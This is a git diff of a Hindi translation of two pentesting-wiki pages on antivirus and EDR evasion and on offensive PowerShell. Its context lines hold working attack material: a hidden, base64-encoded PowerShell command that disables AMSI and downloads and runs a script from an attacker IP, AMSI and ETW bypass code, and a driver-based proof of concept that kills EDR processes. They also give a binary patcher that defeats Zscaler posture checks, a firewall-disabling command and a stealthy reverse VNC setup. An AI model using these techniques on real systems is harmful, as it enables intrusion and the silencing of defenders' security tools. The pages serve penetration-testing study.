लिए है। @@ -292,13 +292,13 @@ SmartScreen मुख्य रूप से एक प्रतिष्ठा- > [!TIP] > यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को सक्रिय नहीं करेंगी**। -आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **गैर NTFS** वॉल्यूम पर **लागू** नहीं किया जा सकता। +आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **गैर NTFS** वॉल्यूम पर **लागू नहीं** किया जा सकता है।
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक उपकरण है जो पेलोड को आउटपुट कंटेनरों में पैकेज करता है ताकि Mark-of-the-Web से बचा जा सके। -Example usage: +उदाहरण उपयोग: ```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso @@ -320,13 +320,13 @@ Adding file: /TotallyLegitApp.exe [+] Generated file written to (size: 3420160): container.iso ``` -यहाँ SmartScreen को ISO फ़ाइलों के अंदर पैकेज किए गए पेलोड्स के माध्यम से बायपास करने का एक डेमो है, जिसका उपयोग [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) द्वारा किया गया है। +Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
## ETW -Windows के लिए इवेंट ट्रेसिंग (ETW) एक शक्तिशाली लॉगिंग तंत्र है जो अनुप्रयोगों और सिस्टम घटकों को **इवेंट्स लॉग** करने की अनुमति देता है। हालाँकि, इसका उपयोग सुरक्षा उत्पादों द्वारा दुर्भावनापूर्ण गतिविधियों की निगरानी और पहचान के लिए भी किया जा सकता है। +Event Tracing for Windows (ETW) एक शक्तिशाली लॉगिंग तंत्र है जो Windows में अनुप्रयोगों और सिस्टम घटकों को **इवेंट्स लॉग** करने की अनुमति देता है। हालाँकि, इसका उपयोग सुरक्षा उत्पादों द्वारा दुर्भावनापूर्ण गतिविधियों की निगरानी और पहचान के लिए भी किया जा सकता है। जैसे AMSI को अक्षम (बायपास) किया जाता है, वैसे ही उपयोगकर्ता स्थान प्रक्रिया के **`EtwEventWrite`** फ़ंक्शन को बिना किसी इवेंट लॉग किए तुरंत लौटने के लिए भी बनाया जा सकता है। यह मेमोरी में फ़ंक्शन को पैच करके किया जाता है ताकि यह तुरंत लौट सके, प्रभावी रूप से उस प्रक्रिया के लिए ETW लॉगिंग को अक्षम कर देता है। @@ -342,13 +342,13 @@ C# बाइनरी को मेमोरी में लोड करना - **Fork\&Run** -इसमें **एक नया बलिदान प्रक्रिया उत्पन्न करना** शामिल है, अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को उस नए प्रक्रिया में इंजेक्ट करना, अपने दुर्भावनापूर्ण कोड को निष्पादित करना और जब समाप्त हो जाए, तो नए प्रक्रिया को समाप्त करना। इसके अपने लाभ और हानियाँ हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि यदि हमारे पोस्ट-एक्सप्लॉइटेशन क्रिया में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे **इम्प्लांट के जीवित रहने की संभावना बहुत अधिक है।** हानि यह है कि आपको **व्यवहारात्मक पहचान** द्वारा पकड़े जाने की **अधिक संभावना** होती है। +इसमें **एक नया बलिदान प्रक्रिया उत्पन्न करना** शामिल है, अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को उस नए प्रक्रिया में इंजेक्ट करना, अपने दुर्भावनापूर्ण कोड को निष्पादित करना और जब समाप्त हो जाए, तो नए प्रक्रिया को समाप्त करना। इसके अपने लाभ और हानि हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि यदि हमारे पोस्ट-एक्सप्लॉइटेशन क्रिया में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे **इम्प्लांट के जीवित रहने की संभावना बहुत अधिक है।** हानि यह है कि आपको **व्यवहारात्मक पहचान** द्वारा पकड़े जाने की **अधिक संभावना** होती है।
- **Inline** -यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और AV द्वारा स्कैन किए जाने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके **बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है। +यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और AV द्वारा स्कैन किए जाने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो **अपने बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
@@ -357,17 +357,17 @@ C# बाइनरी को मेमोरी में लोड करना आप C# असेंबली को **PowerShell से भी लोड कर सकते हैं**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t का वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें। -## अन्य प्रोग्रामिंग भाषाओं का उपयोग करना +## Using Other Programming Languages जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** मिलती है। इंटरप्रेटर बाइनरी और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **इन भाषाओं में समझौता की गई मशीन की मेमोरी में मनमाना कोड निष्पादित कर सकते हैं।** -रेपो में संकेत दिया गया है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है।** इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है। +रेपो इंगित करता है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है।** इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है। ## TokenStomping -टोकन स्टॉम्पिंग एक तकनीक है जो हमलावर को **एक्सेस टोकन या सुरक्षा उत्पाद जैसे EDR या AV को हेरफेर करने** की अनुमति देती है, जिससे उन्हें इसके विशेषाधिकार को कम करने की अनुमति मिलती है ताकि प्रक्रिया न मरे लेकिन इसके पास दुर्भावनापूर्ण गतिविधियों की जांच करने की अनुमति न हो। +Token stomping एक तकनीक है जो हमलावर को **एक्सेस टोकन या सुरक्षा उत्पाद जैसे EDR या AV को हेरफेर करने** की अनुमति देती है, जिससे उन्हें इसके विशेषाधिकार को कम करने की अनुमति मिलती है ताकि प्रक्रिया न मरे लेकिन इसके पास दुर्भावनापूर्ण गतिविधियों की जांच करने के लिए अनुमतियाँ न हों। इससे बचने के लिए Windows **बाहरी प्रक्रियाओं** को सुरक्षा प्रक्रियाओं के टोकन पर हैंडल प्राप्त करने से रोक सकता है। @@ -375,7 +375,7 @@ C# बाइनरी को मेमोरी में लोड करना - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) -## विश्वसनीय सॉफ़्टवेयर का उपयोग करना +## Using Trusted Software ### Chrome Remote Desktop @@ -385,38 +385,38 @@ C# बाइनरी को मेमोरी में लोड करना 3. Chrome Remote Desktop पृष्ठ पर वापस जाएँ और अगला क्लिक करें। विज़ार्ड फिर आपसे अधिकृत करने के लिए कहेगा; जारी रखने के लिए अधिकृत बटन पर क्लिक करें। 4. कुछ समायोजनों के साथ दिए गए पैरामीटर को निष्पादित करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें कि पिन पैरामीटर जो GUI का उपयोग किए बिना पिन सेट करने की अनुमति देता है)। -## उन्नत बचाव +## Advanced Evasion -बचाव एक बहुत जटिल विषय है, कभी-कभी आपको एक ही प्रणाली में कई विभिन्न टेलीमेट्री स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अदृश्य रहना लगभग असंभव है। +Evasion एक बहुत जटिल विषय है, कभी-कभी आपको एक ही प्रणाली में कई विभिन्न टेलीमेट्री स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अदृश्य रहना लगभग असंभव है। आप जिस भी वातावरण का सामना करेंगे, उसके अपने ताकत और कमजोरियाँ होंगी। -मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत बचाव तकनीकों में एक पैर रख सकें। +मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत Evasion तकनीकों में एक पैर रख सकें। {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} -यह [@mariuszbit](https://twitter.com/mariuszbit) से बचाव में गहराई के बारे में एक और शानदार वार्ता है। +यह [@mariuszbit](https://twitter.com/mariuszbit) से Evasion in Depth के बारे में एक और शानदार वार्ता है। {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 {{#endref}} -## **पुरानी तकनीकें** +## **Old Techniques** -### **जांचें कि डिफेंडर कौन से भागों को दुर्भावनापूर्ण मानता है** +### **Check which parts Defender finds as malicious** -आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपको विभाजित करता है।\ +आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि Defender** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित करता है।\ एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर सेवा प्रदान की जाती है। ### **Telnet Server** -Windows10 तक, सभी Windows में एक **Telnet सर्वर** था जिसे आप (व्यवस्थापक के रूप में) स्थापित कर सकते थे: +Windows10 तक, सभी Windows में एक **Telnet सर्वर** होता था जिसे आप (व्यवस्थापक के रूप में) स्थापित कर सकते थे: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` -सिस्टम के शुरू होने पर इसे **शुरू** करें और इसे अभी **चलाएं**: +सिस्टम शुरू होने पर इसे **शुरू** करें और इसे अभी **चलाएं**: ```bash sc config TlntSVR start= auto obj= localsystem ``` @@ -429,23 +429,23 @@ netsh advfirewall set allprofiles state off इसे डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको बिन डाउनलोड चाहिए, सेटअप नहीं) -**होस्ट पर**: _**winvnc.exe**_ को चलाएं और सर्वर को कॉन्फ़िगर करें: +**HOST पर**: _**winvnc.exe**_ को चलाएं और सर्वर को कॉन्फ़िगर करें: - विकल्प _Disable TrayIcon_ को सक्षम करें - _VNC Password_ में एक पासवर्ड सेट करें - _View-Only Password_ में एक पासवर्ड सेट करें -फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **शिकार** के अंदर ले जाएं +फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **victim** के अंदर ले जाएं -#### **रिवर्स कनेक्शन** +#### **Reverse connection** -**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमन शुरू करें `winvnc.exe -run` और चलाएं `winwnc.exe [-autoreconnect] -connect ::5900` +**attacker** को अपने **host** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह एक रिवर्स **VNC connection** पकड़ने के लिए **तैयार** हो सके। फिर, **victim** के अंदर: winvnc डेमन `winvnc.exe -run` शुरू करें और `winwnc.exe [-autoreconnect] -connect ::5900` चलाएं -**चेतावनी:** गुप्तता बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए +**WARNING:** स्टेल्थ बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए -- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` -- यदि उसी निर्देशिका में `UltraVNC.ini` नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोल देगा -- मदद के लिए `winvnc -h` न चलाएं या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे +- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [popup](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` के साथ +- यदि `UltraVNC.ini` उसी निर्देशिका में नहीं है तो `winvnc` शुरू न करें या यह [config window](https://i.imgur.com/rfMQWcf.png) को खोल देगा +- मदद के लिए `winvnc -h` न चलाएं या आप [popup](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे ### GreatSCT @@ -626,24 +626,24 @@ https://github.com/praetorian-code/vulcan ## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space -Storm-2603 ने **Antivirus Terminator** नामक एक छोटे कंसोल उपयोगिता का उपयोग किया ताकि रैनसमवेयर को गिराने से पहले एंडपॉइंट सुरक्षा को अक्षम किया जा सके। यह उपकरण **अपना खुद का कमजोर लेकिन *साइन किया हुआ* ड्राइवर** लाता है और इसका दुरुपयोग करता है ताकि विशेषाधिकार प्राप्त कर्नेल संचालन किए जा सकें जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं। +Storm-2603 ने **Antivirus Terminator** नामक एक छोटे कंसोल उपयोगिता का उपयोग किया ताकि रैंसमवेयर को गिराने से पहले एंडपॉइंट सुरक्षा को निष्क्रिय किया जा सके। यह उपकरण **अपना खुद का कमजोर लेकिन *साइन किया हुआ* ड्राइवर** लाता है और इसका दुरुपयोग करता है ताकि विशेषाधिकार प्राप्त कर्नेल संचालन किए जा सकें जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं। -मुख्य बिंदु -1. **साइन किया हुआ ड्राइवर**: डिस्क पर वितरित फ़ाइल `ServiceMouse.sys` है, लेकिन बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से साइन किया गया ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर में एक वैध Microsoft हस्ताक्षर है, यह तब भी लोड होता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है। -2. **सेवा स्थापना**: +Key take-aways +1. **Signed driver**: डिस्क पर वितरित फ़ाइल `ServiceMouse.sys` है, लेकिन बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से साइन किया गया ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर में एक वैध Microsoft हस्ताक्षर है, यह तब भी लोड होता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है। +2. **Service installation**: ```powershell sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" sc start ServiceMouse ``` पहली पंक्ति ड्राइवर को **कर्नेल सेवा** के रूप में पंजीकृत करती है और दूसरी इसे शुरू करती है ताकि `\\.\ServiceMouse` उपयोगकर्ता भूमि से सुलभ हो सके। -3. **ड्राइवर द्वारा उजागर IOCTLs** -| IOCTL कोड | क्षमता | +3. **IOCTLs exposed by the driver** +| IOCTL code | Capability | |-----------:|-----------------------------------------| | `0x99000050` | PID द्वारा एक मनमाना प्रक्रिया को समाप्त करें (Defender/EDR सेवाओं को समाप्त करने के लिए उपयोग किया जाता है) | | `0x990000D0` | डिस्क पर एक मनमाना फ़ाइल को हटाएं | | `0x990001D0` | ड्राइवर को अनलोड करें और सेवा को हटा दें | -न्यूनतम C प्रमाण-कोशिश: +Minimal C proof-of-concept: ```c #include @@ -655,30 +655,30 @@ CloseHandle(hDrv); return 0; } ``` -4. **यह क्यों काम करता है**: BYOVD पूरी तरह से उपयोगकर्ता-मोड सुरक्षा को छोड़ देता है; कर्नेल में निष्पादित कोड *संरक्षित* प्रक्रियाओं को खोल सकता है, उन्हें समाप्त कर सकता है, या PPL/PP, ELAM या अन्य हार्डनिंग सुविधाओं की परवाह किए बिना कर्नेल वस्तुओं के साथ छेड़छाड़ कर सकता है। +4. **Why it works**: BYOVD पूरी तरह से उपयोगकर्ता-मोड सुरक्षा को छोड़ देता है; कर्नेल में निष्पादित कोड *संरक्षित* प्रक्रियाओं को खोल सकता है, उन्हें समाप्त कर सकता है, या PPL/PP, ELAM या अन्य हार्डनिंग सुविधाओं की परवाह किए बिना कर्नेल वस्तुओं के साथ छेड़छाड़ कर सकता है। -पता लगाना / शमन -• Microsoft की कमजोर-ड्राइवर ब्लॉक सूची (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से मना कर दे। -• नए *कर्नेल* सेवाओं के निर्माण की निगरानी करें और जब कोई ड्राइवर एक विश्व-लिखने योग्य निर्देशिका से लोड किया जाता है या अनुमति सूची में नहीं होता है तो अलर्ट करें। -• कस्टम डिवाइस ऑब्जेक्ट्स के लिए उपयोगकर्ता-मोड हैंडल पर नज़र रखें, इसके बाद संदिग्ध `DeviceIoControl` कॉल्स। +Detection / Mitigation +• Microsoft की कमजोर-ड्राइवर ब्लॉक सूची (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से मना कर दे। +• नए *कर्नेल* सेवाओं के निर्माण की निगरानी करें और जब कोई ड्राइवर एक विश्व-लिखने योग्य निर्देशिका से लोड किया जाता है या अनुमति सूची में नहीं होता है तो अलर्ट करें। +• कस्टम डिवाइस ऑब्जेक्ट्स के लिए उपयोगकर्ता-मोड हैंडल की निगरानी करें, इसके बाद संदिग्ध `DeviceIoControl` कॉल्स के साथ। ### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching -Zscaler का **Client Connector** डिवाइस-पोश्चर नियमों को स्थानीय रूप से लागू करता है और परिणामों को अन्य घटकों के साथ संवाद करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण बायपास को संभव बनाते हैं: +Zscaler का **Client Connector** डिवाइस-पोस्टर नियमों को स्थानीय रूप से लागू करता है और परिणामों को अन्य घटकों के साथ संवाद करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण बायपास को संभव बनाते हैं: -1. पोश्चर मूल्यांकन **पूरी तरह से क्लाइंट-साइड** होता है (एक बूलियन सर्वर को भेजा जाता है)। +1. पोस्टर मूल्यांकन **पूरी तरह से क्लाइंट-साइड** होता है (एक बूलियन सर्वर को भेजा जाता है)। 2. आंतरिक RPC एंडपॉइंट केवल यह सत्यापित करते हैं कि कनेक्टिंग निष्पादन योग्य **Zscaler द्वारा साइन किया गया है** (के माध्यम से `WinVerifyTrust`)। -**डिस्क पर चार साइन किए गए बाइनरी को पैच करके** दोनों तंत्रों को निष्क्रिय किया जा सकता है: +**चार साइन किए गए बाइनरीज़ को डिस्क पर पैच करके** दोनों तंत्रों को निष्क्रिय किया जा सकता है: -| बाइनरी | मूल तर्क पैच किया गया | परिणाम | +| Binary | Original logic patched | Result | |--------|------------------------|---------| | `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` लौटाता है ताकि हर जांच अनुपालन में हो | -| `ZSAService.exe` | `WinVerifyTrust` के लिए अप्रत्यक्ष कॉल | NOP-ed ⇒ कोई भी (यहां तक कि असाइन किया गया) प्रक्रिया RPC पाइप्स से बंध सकती है | +| `ZSAService.exe` | `WinVerifyTrust` के लिए अप्रत्यक्ष कॉल | NOP-ed ⇒ कोई भी (यहां तक कि असाइन किया हुआ) प्रक्रिया RPC पाइप्स से बंध सकती है | | `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` द्वारा प्रतिस्थापित | | `ZSATunnel.exe` | टनल पर अखंडता जांच | शॉर्ट-सर्किट किया गया | -न्यूनतम पैचर अंश: +Minimal patcher excerpt: ```python pattern = bytes.fromhex("44 89 AC 24 80 02 00 00") replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1 @@ -692,7 +692,7 @@ else: f.seek(off) f.write(replacement) ``` -मूल फ़ाइलों को बदलने और सेवा स्टैक को पुनरारंभ करने के बाद: +मूल फ़ाइलों को बदलने और सेवा स्टैक को पुनः प्रारंभ करने के बाद: * **सभी** स्थिति जांच **हरा/अनुपालन** प्रदर्शित करती हैं। * बिना हस्ताक्षर या संशोधित बाइनरी नामित-पाइप RPC एंडपॉइंट्स (जैसे `\\RPC Control\\ZSATrayManager_talk_to_me`) को खोल सकते हैं। diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index eb86d2fae..31102b83c 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -29,7 +29,7 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr #host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` -### डाउनलोड और बैकग्राउंड में चलाएँ AMSI बायपास के साथ +### डाउनलोड करें और बैकग्राउंड में AMSI बायपास के साथ निष्पादित करें ```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` @@ -112,13 +112,13 @@ ValueType : REG_SZ ValueLength : 4 ValueData : 0 ``` -### AMSI बाईपास +### AMSI बायपास -**`amsi.dll`** आपके प्रोसेस में **लोड** होता है, और किसी भी एप्लिकेशन के साथ इंटरैक्ट करने के लिए आवश्यक **एक्सपोर्ट्स** होते हैं। और क्योंकि यह आपके द्वारा **नियंत्रित** प्रोसेस की मेमोरी स्पेस में लोड होता है, आप इसकी व्यवहार को **मेमोरी में इंस्ट्रक्शंस को ओवरराइट करके** बदल सकते हैं। इसे कुछ भी डिटेक्ट न करने के लिए बनाना। +**`amsi.dll`** आपके प्रोसेस में **लोड** होता है, और किसी भी एप्लिकेशन के साथ इंटरैक्ट करने के लिए आवश्यक **एक्सपोर्ट्स** होते हैं। और क्योंकि यह आपके द्वारा **नियंत्रित** प्रोसेस की मेमोरी स्पेस में लोड होता है, आप इसके व्यवहार को **मेमोरी में इंस्ट्रक्शंस को ओवरराइट करके** बदल सकते हैं। इसे कुछ भी डिटेक्ट न करने के लिए बनाना। -इसलिए, AMSI बाईपास का लक्ष्य है कि आप **मेमोरी में उस DLL के इंस्ट्रक्शंस को ओवरराइट करें ताकि डिटेक्शन बेकार हो जाए**। +इसलिए, AMSI बायपास का लक्ष्य है कि आप **मेमोरी में उस DLL के इंस्ट्रक्शंस को ओवरराइट करें ताकि डिटेक्शन बेकार हो जाए**। -**AMSI बाईपास जनरेटर** वेब पेज: [**https://amsi.fail/**](https://amsi.fail/) +**AMSI बायपास जनरेटर** वेब पेज: [**https://amsi.fail/**](https://amsi.fail/) ```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -172,15 +172,15 @@ Check [**this post for detailed info and the code**](https://practicalsecurityan .NET विधियों के API कॉल हुकिंग के लिए कदम हैं: 1. हुक करने के लिए लक्षित विधि की पहचान करें -2. लक्षित के समान कार्य प्रोटोटाइप वाली एक विधि परिभाषित करें -3. विधियों को खोजने के लिए परावर्तन का उपयोग करें +2. लक्षित के समान कार्यात्मक प्रोटोटाइप वाली एक विधि परिभाषित करें +3. विधियों को खोजने के लिए रिफ्लेक्शन का उपयोग करें 4. सुनिश्चित करें कि प्रत्येक विधि संकलित हो चुकी है 5. मेमोरी में प्रत्येक विधि का स्थान खोजें 6. लक्षित विधि को हमारे दुर्भावनापूर्ण विधि की ओर इशारा करने वाले निर्देशों के साथ ओवरराइट करें ### AMSI Bypass 3 - SeDebug Privilege -[**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) आप देख सकते हैं कि कैसे पर्याप्त विशेषाधिकार के साथ प्रक्रियाओं को डिबग करने के लिए, आप एक powershell.exe प्रक्रिया उत्पन्न कर सकते हैं, इसे डिबग कर सकते हैं, जब यह `amsi.dll` लोड करता है तो इसे मॉनिटर कर सकते हैं और इसे अक्षम कर सकते हैं। +[**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) आप देख सकते हैं कि प्रक्रियाओं को डिबग करने के लिए पर्याप्त विशेषाधिकार के साथ, आप एक powershell.exe प्रक्रिया उत्पन्न कर सकते हैं, इसे डिबग कर सकते हैं, जब यह `amsi.dll` लोड करता है तो इसे मॉनिटर कर सकते हैं और इसे अक्षम कर सकते हैं। ### AMSI Bypass - More Resources @@ -240,7 +240,7 @@ powerview.md Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` -## सुरक्षित स्ट्रिंग से प्लेनटेक्स्ट +## Secure String to Plaintext ```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" @@ -292,7 +292,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Admin ```bash Get-Clipboard ``` -क्लिपबोर्ड मॉनिटरिंग करने के लिए उपयोग करें: +क्लिपबोर्ड मॉनिटरिंग करने के लिए: - [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) - [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) @@ -361,7 +361,7 @@ route print ```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` -### होस्ट्स +### होस्ट ```bash Get-Content 